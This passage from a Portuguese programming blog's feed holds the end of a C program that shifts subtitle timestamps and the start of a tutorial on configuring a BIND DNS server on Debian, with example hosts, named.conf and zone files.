/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char temp [20];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char* sub;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int pos;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (argc != 4)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Os parâmetros são:\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("1 - Arquivo a ser convertido\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("2 - Ajuste da sincronização em milisegundos\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("3 - Arquivo sincronizado\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;arqOri  = argv[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;arqDest = argv[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ajust   = atoi (argv[2]);&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(fOri=fopen(arqOri, "r")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Erro na abertura do arquivo de origem !\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((fDest=fopen(arqDest, "r")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (fDest);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("O aquivo de destino %s já existe. Deseja substitui-lo (s/n) ? ", arqDest);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;opc = getchar();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((opc!='S') &amp;amp;&amp;amp; (opc!='s')) exit (0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;     &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(fDest=fopen(arqDest, "w+")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Erro na abertura do arquivo de destino !\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* pegando o tamanho do arquivo de origem para imprimir a porcentagem */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fseek (fOri, 0, SEEK_END);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;tamArq = ftell (fOri);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* voltando ao inicio do arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fseek (fOri, 0, SEEK_SET);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("0 %c convertido.",'%');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (fgets (linha, TAMLINHA, fOri))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{   &lt;br /&gt;           &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (sub=strstr(linha," --&gt; "))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pos = sub - &amp;amp;linha[0];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (temp, &amp;amp;linha[pos+5]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;miliToStr (strToMili (linha)+ajust, linha);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;miliToStr (strToMili (temp)+ajust, temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (linha, " --&gt; ");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (linha, temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (linha, "\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fputs (linha, fDest);&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;percent = ftell (fOri) * 100 / tamArq;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (percent!=percentAnt)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("\r%d %c convertido.",percent,'%');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;percentAnt=percent;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf("\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (fOri);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (fDest);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;long strToMili (char* str)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char temp[10];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long h;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long m;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long s;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int j=0;&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((str[i]==' ') || (str[i]==':')) break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j++]=str[i++];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;h=atoi(temp) * 60 * 60 * 1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((str[i]==' ') || (str[i]==':')) break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j++]=str[i++];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;m=atoi(temp) * 60 * 1000;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((str[i]==' ') || (str[i]==':') || (str[i]==',')) break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j++]=str[i++];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s=atoi(temp) * 1000;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (str[i]!='\0')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (str[i]==' ') break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j++]=str[i++];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp[j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return  (h + m + s + atoi(temp));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void miliToStr (long mili, char* str)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char temp[20];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long h;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long m;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long s;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;h = (mili - (mili % 3600000)) / 3600000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mili = mili-(h*3600000);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;m = (mili - (mili % 60000)) / 60000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mili = mili-(m*60000);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;s = (mili - (mili % 1000)) / 1000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mili = mili-(s*1000);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;snprintf(str,20,"%2d:%2d:%2d,%3d", h, m , s, mili);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (i=0;str[i]!='\0';i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (str[0]==' ')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str[0]='0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else if ((str[i]==' ') &amp;amp;&amp;amp; (str[i-1] != '&gt;') &amp;amp;&amp;amp; (str[i+1] != '-'))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str[i]='0';&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;   &lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-8750167833998183965?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/8750167833998183965/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/ajustando-o-sincronismo-da-legenda-com.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8750167833998183965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/8750167833998183965'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/ajustando-o-sincronismo-da-legenda-com.html' title='Ajustando o sincronismo da legenda com o filme'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-3748148233129079217</id><published>2009-03-25T15:51:00.000-07:00</published><updated>2009-05-04T10:06:36.360-07:00</updated><title type='text'>Configurando Servidor de Nomes - DNS (Debian)</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=Left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=85e3e01a" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Introdução&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Referir-se aos hosts pelo seu endereço IP é bastante conveniente para computadores, porém para as pessoas o ideal é referir-se pelo seu nome. Para isso precisamos de uma tabela que converta o IP em nome e nome em IP.&lt;br /&gt;&lt;br /&gt;Porém com o crescimento, já com milhares de computadores e outros milhares entrando, na internet fica impossível para qualquer um manter uma tabela desse tipo sempre atualizada. É ai que entra o servidor DNS, ou servidor de Nomes. O Servidor de nomes é uma base de dados, pública, mantida pelos sites que proporcionam a tradução já citada.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;O arquivo hosts.txt&lt;/span&gt;&lt;br /&gt;A velhos tempos, quando haviam poucos computadores conectados a ARPAnet (antiga rede predecessora da internet), cada computador tinha um arquivo hosts.txt, que depois foi alterado para o /etc/hosts no UNIX. Esse arquivo continha informações sobre todos os hosts da rede. Com tão poucos computadores, o arquivo era pequeno e fácil de mantê-lo atualizado.&lt;br /&gt;&lt;br /&gt;A manutenção do arquivo hosts.txt era mantido pela SRI-NIC. Quando os administradores queriam fazer uma alteração no arquivo, enviavam a solicitação por e-mail. Quando uma alteração era feita, os administradores baixavam o arquivo via FTP.&lt;br /&gt;&lt;br /&gt;A medida que a internet crescia, a idéia da administração centralizar os nomes dos hosts e a atualização do arquivo hosts.txt tornaram-se um grande problema, então a SRI-NIC projetou, no início dos anos 80, um banco de dados distribuído para substituir o hosts.txt. Esse novo sistema ficou conhecido como Domain Name System (DNS). &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O DNS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O DNS é um banco de dados distribuído criado sob uma estrutura de domínio hierárquica. Cada computador que se conecta a internet o faz a partir de um domínio Internet. Cada domínio internet tem um nome de servidor com um banco de dados dos hosts em seu domínio. Quando um domínio se torna muito grande, a tarefa pode ser delegada a subdomínios, a fim de reduzir a carga administrativa.&lt;br /&gt;&lt;br /&gt;O arquivo /etc/hosts&lt;br /&gt;Ainda que o DNS se constitua no principal meio de resolução de nomes, ainda é encontrado na maioria das máquinas o arquivo /etc/hosts. Esse arquivo pode acelerar na resolução de nomes solicitados com freqüência, como o IP local. Além disso alguns nomes tem que ser resolvidos, no boot, antes que um DNS seja utilizado, como exemplo o caso de servidores NIS. Esse mapeamento é definido no arquivo /etc/hosts.&lt;br /&gt;&lt;br /&gt;Exemplo de arquivo /etc/hosts:&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#IP                  Endereço                 Alias&lt;br /&gt;127.0.0.1            localhost&lt;br /&gt;192.168.1.1          servidor                 www&lt;br /&gt;72.51.46.57          www.vivaolinux.com.br    vivaolinux&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;A coluna a esquerda é o IP a ser resolvido. A coluna seguinte é o nome do host correspondente àquele IP. Qualquer coluna seguinte será alias para o host. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Instalando o servidor DNS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No Debian a instalação do servidor de nomes é muito fácil, basta, como root, digitar o seguinte comando em um terminal:&lt;br /&gt;&lt;br /&gt;# apt-get install bind&lt;br /&gt;&lt;br /&gt;Com esse comando iremos instalar o bind, que é o padrão da distribuição Debian. Poderia ser instalado também o named, que pode ser a melhor opção para outras distribuições, porém, não entraremos nesse caso.&lt;br /&gt;&lt;br /&gt;Obs.: O servidor DNS e o cliente DNS são diferentes.&lt;br /&gt;&lt;br /&gt;Todo computador Linux habilitado para comunicar-se entre rede possui um software chamado de cliente DNS, também conhecido como resolver. O resolver simplesmente consulta um servidor DNS atribuído no arquivo /etc/resolv.conf. A consulta segue a ordem do arquivo.&lt;br /&gt;&lt;br /&gt;Servidores DNS retornam os valores consultados após consultarem o arquivo /etc/bind/named.conf e as referências para as quais ele aponta. Os clientes perguntam e os servidores respondem, muitas vezes após consultarem outros servidores.&lt;br /&gt;&lt;br /&gt;A confusão muitas vezes surge quando temos o cliente e o servidor em uma mesma máquina, principalmente quando o cliente consulta o servidor da mesma máquina. Por isso, sempre devemos lembrar de que o cliente ou resolver utiliza o /etc/resolv.conf. Todos os outros como o /etc/bind/named.conf e os arquivos apontados por ele pertencem ao servidor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Terminologia DNS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cliente DNS - Componentes de software em todos os computadores da rede que transformam o endereço IP em nome e nome em endereço IP. Em máquinas Linux Debian, o cliente busca informações no arquivo /etc/resolv.conf.&lt;br /&gt;&lt;br /&gt;Resolvedor - Para propósitos práticos, um sinônimo para Cliente DNS.&lt;br /&gt;&lt;br /&gt;Servidor DNS - Componente de software que retorna a tradução de endereço IP em nome e de nome em endereço IP ao cliente DNS que solicitou. Em máquinas Linux Debian, o servidor DNS busca suas configurações no arquivo /etc/bind/named.conf.&lt;br /&gt;&lt;br /&gt;Resolver - Converte endereço IP em um nome e um nome em endereço IP. Isso é feito pelo DNS e às vezes por outro software.&lt;br /&gt;&lt;br /&gt;Zona - Um subdomínio ou sub-rede sobre os quais um servidor DNS possui autoridade.&lt;br /&gt;&lt;br /&gt;Mestre - Um servidor DNS com autoridade sobre uma zona cujos dados são derivados dos arquivos de dados local. Assim um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.&lt;br /&gt;&lt;br /&gt;Primário - Sinônimo para mestre.&lt;br /&gt;&lt;br /&gt;Escravo - Um servidor de nomes cuja autoridade sobre uma zona depende de dados derivados de outro servidor de nomes em uma zona de transferência. O outro servidor de nomes tanto pode ser um mestre como um outro escravo. Observe que um servidor de nomes pode ser mestre para algumas zonas e escravo para outras.&lt;br /&gt;&lt;br /&gt;Secundário - Sinônimo para escravo.&lt;br /&gt;&lt;br /&gt;Zona de Transferência - Uma transferência feita entre um servidor DNS mestre ou escravo e um servidor DNS escravo. O escravo inicia a zona de transferência após um tempo de refresh ou após ser notificado de que os dados no servidor remetente foram alterados.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Configurando um servidor DNS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O servidor DNS é um sistema potencialmente complexo, configurado por uma série de arquivos surpreendentemente confiáveis. Esses arquivos são formados por um arquivo de boot e vários arquivos de dados de zona, onde cada arquivo de zona é apontado por um registro de zona no arquivo de boot.&lt;br /&gt;&lt;br /&gt;Com os exemplos essa explicação ficará mais clara.&lt;br /&gt;&lt;br /&gt;No Debian, com o bind instalado, o arquivo de boot DNS é o /etc/bind/named.conf.&lt;br /&gt;&lt;br /&gt;Comentários neste arquivo podem ser feitos de três formas:&lt;br /&gt;&lt;br /&gt;/* estilo c */&lt;br /&gt;// estilo c++&lt;br /&gt;# estilo shell&lt;br /&gt;&lt;br /&gt;Outras declarações seguem o formato:&lt;br /&gt;&lt;br /&gt;Keyword {statement; statement; ...; statement;};&lt;br /&gt;&lt;br /&gt;Tudo neste arquivo é delimitado por chaves, espaço e ponto-e-vírgula. Logo, espaçamento múltiplos, tab, quebra de linha não afetam a configuração.&lt;br /&gt;&lt;br /&gt;Inclua no arquivo o apontamento da zona que corresponde ao seu domínio, informando em qual arquivo ele deve procurar a configuração de zona quando o seu domínio for digitado.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;zone "dominio.casa" { # domínio da rede que deseja incluir no DNS&lt;br /&gt;   type master;&lt;br /&gt;   file "/etc/bind/dominio.casa.zone";   # arquivo que conterá as informações para tradução do nome&lt;br /&gt;};&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Agora inclua o apontamento para o IP reverso. Neste caso, qualquer endereço ip na sub-rede especificada será tratada pelo arquivo apontado por ele.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;zone "1.168.192.in-addr.arpa" {      # endereço da sub-rede&lt;br /&gt;        type master;&lt;br /&gt;        file "/etc/bind/named.198.168.1";    # arquivo de configuração que tratará o IP&lt;br /&gt;};&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Os arquivos de zona, no nosso caso estarão na diretório /etc/bind/. Os arquivos de zona são apontados pela declaração zone do arquivo de boot.&lt;br /&gt;&lt;br /&gt;A primeira coisa a entender sobre os arquivos de zona é que sua sintaxe é totalmente diferente do arquivo de boot named.conf.&lt;br /&gt;&lt;br /&gt;Há 10 registros possíveis:&lt;br /&gt;&lt;br /&gt;    * SOA - inicialização de autoridade&lt;br /&gt;    * NS - nome do servidor&lt;br /&gt;    * A - registro de endereço&lt;br /&gt;    * PTR - registro de ponteiro&lt;br /&gt;    * MX - intercâmbio de carreio&lt;br /&gt;    * CNAME - nome canônico&lt;br /&gt;    * RP e TXT - as entradas de documento&lt;br /&gt;    * HINFO - informações sobre os host&lt;br /&gt;    * NULL - registro de recurso nulo sem formato de dados &lt;br /&gt;&lt;br /&gt;Supondo que o endereço de sua sub-rede seja 192.168.1 e que o servidor é 192.168.1.1, o computador 1 é 192.168.1.2 e o computador 3 192.168.1.3.&lt;br /&gt;&lt;br /&gt;Crie o primeiro arquivo o /etc/bind/dominio.casa.zone e adicione o seguinte código:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;$TTL    604800&lt;br /&gt;@        IN SOA dominio.casa. root.dominio.casa. (  # indica para qual domínio o SOA é obrigatório&lt;br /&gt;                200007201       ; serial (d. adams)   # Serial que mostra aso DNS secundários como realizar transferência de zona&lt;br /&gt;                28800           ; refresh       # indica o tempo em segundos de intervalo para o servidor DNS secundário consultar o primário para saber se houve alteração&lt;br /&gt;                14400           ; retry      # tempo em segundo para conexão com o servidor primário caso a tentativa no tempo de refresh falhe&lt;br /&gt;                3600000         ; expiry  # tempo de descarte das informações no cache&lt;br /&gt;                84400 )         ; minimum  # indica quanto tempo os dados devem ser guardados no cache antes que expire a validade&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;www             IN A    192.168.1.1&lt;br /&gt;www2            IN A    192.168.1.1&lt;br /&gt;www3            IN A    192.168.1.1&lt;br /&gt;serv            IN A    192.168.1.1&lt;br /&gt;comp1           IN A    192.168.1.2&lt;br /&gt;comp2           IN A    192.168.1.3&lt;br /&gt;&lt;br /&gt;@               IN MX 10 dominio.casa.c&lt;br /&gt;@               IN NS    dominio.casa.&lt;br /&gt;@               IN A    192.168.1.1&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Neste caso o endereço www.dominio.casa, www2.dominio.casa, www3.dominio.casa e serv.dominio.casa se referem ao mesmo IP ao 192.168.1.1.&lt;br /&gt;&lt;br /&gt;O host comp1.dominio.casa se refere ao IP 192.168.1.2 e comp2.dominio.casa te levará ao micro com IP 192.168.1.3.&lt;br /&gt;&lt;br /&gt;No caso do IP reverso, crie o arquivo /etc/bind/named.198.168.1 com as seguintes linhas:&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;$TTL    604800&lt;br /&gt;@       IN      SOA     dominio.casa. root.dominio.casa.  (&lt;br /&gt;                        